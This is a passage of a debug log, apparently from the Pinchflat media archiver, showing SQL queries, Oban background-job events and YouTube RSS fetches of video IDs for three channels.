m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:18:39.843 [debug] QUERY OK source="tasks" db=0.2ms idle=11.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:18:39.843 [info] Sent 200 in 17ms 17:18:57.263 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.785 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:27.264 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:57.265 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.786 [info] {"source":"oban","duration":318,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:27.266 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:57.267 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.787 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:01.886 [info] {"args":{"id":2},"id":721,"meta":{},"system_time":1784913661886245833,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:01.890 [debug] QUERY OK source="tasks" db=3.7ms idle=886.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:01.890 [debug] QUERY OK source="sources" db=3.9ms queue=0.1ms idle=886.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:21:01.892 [debug] QUERY OK source="sources" db=1.8ms idle=890.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:21:01.892 [debug] QUERY OK source="settings" db=2.1ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:01.893 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:21:01.893 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:01.893 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:21:02.003 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:21:02.004 [debug] QUERY OK source="media_items" db=0.2ms idle=113.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:21:02.004 [debug] QUERY OK source="media_items" db=0.2ms idle=112.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:21:02.005 [debug] QUERY OK source="tasks" db=0.0ms idle=112.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [724, 2, ~U[2026-07-24 17:21:02Z], ~U[2026-07-24 17:21:02Z]] 17:21:02.005 [info] {"args":{"id":2},"id":721,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":119301,"event":"job:stop","queue_time":351981,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:02.005 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:11.896 [info] {"args":{"id":1},"id":722,"meta":{},"system_time":1784913671896191278,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:11.896 [debug] QUERY OK source="sources" db=0.1ms idle=1896.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:21:11.896 [debug] QUERY OK source="tasks" db=0.2ms idle=1896.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:11.896 [debug] QUERY OK source="settings" db=0.1ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:11.896 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:21:11.897 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:21:11.897 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:11.897 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:21:12.423 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:21:12.424 [debug] QUERY OK source="media_items" db=0.3ms idle=527.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:21:12.427 [debug] QUERY OK source="media_items" db=2.7ms idle=527.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:21:12.428 [debug] QUERY OK source="tasks" db=0.0ms idle=530.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [725, 1, ~U[2026-07-24 17:21:12Z], ~U[2026-07-24 17:21:12Z]] 17:21:12.428 [info] {"args":{"id":1},"id":722,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":531897,"event":"job:stop","queue_time":291181,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:12.428 [debug] QUERY OK source="tasks" db=0.3ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:26.911 [info] {"args":{"id":3},"id":723,"meta":{},"system_time":1784913686911124010,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:26.911 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=911.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:21:26.911 [debug] QUERY OK source="tasks" db=0.3ms idle=911.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:26.911 [debug] QUERY OK source="settings" db=0.1ms idle=911.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:26.911 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:21:26.912 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:21:26.912 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:21:26.912 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:21:27.099 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:21:27.100 [debug] QUERY OK source="media_items" db=0.2ms idle=188.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:21:27.102 [debug] QUERY OK source="media_items" db=1.8ms idle=188.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:21:27.102 [debug] QUERY OK source="tasks" db=0.0ms idle=190.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [726, 3, ~U[2026-07-24 17:21:27Z], ~U[2026-07-24 17:21:27Z]] 17:21:27.102 [info] {"args":{"id":3},"id":723,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191594,"event":"job:stop","queue_time":589378,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:27.103 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:21:27.268 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:57.269 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.788 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:27.270 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:57.271 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.789 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:27.272 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:57.274 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.790 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:27.275 [info] 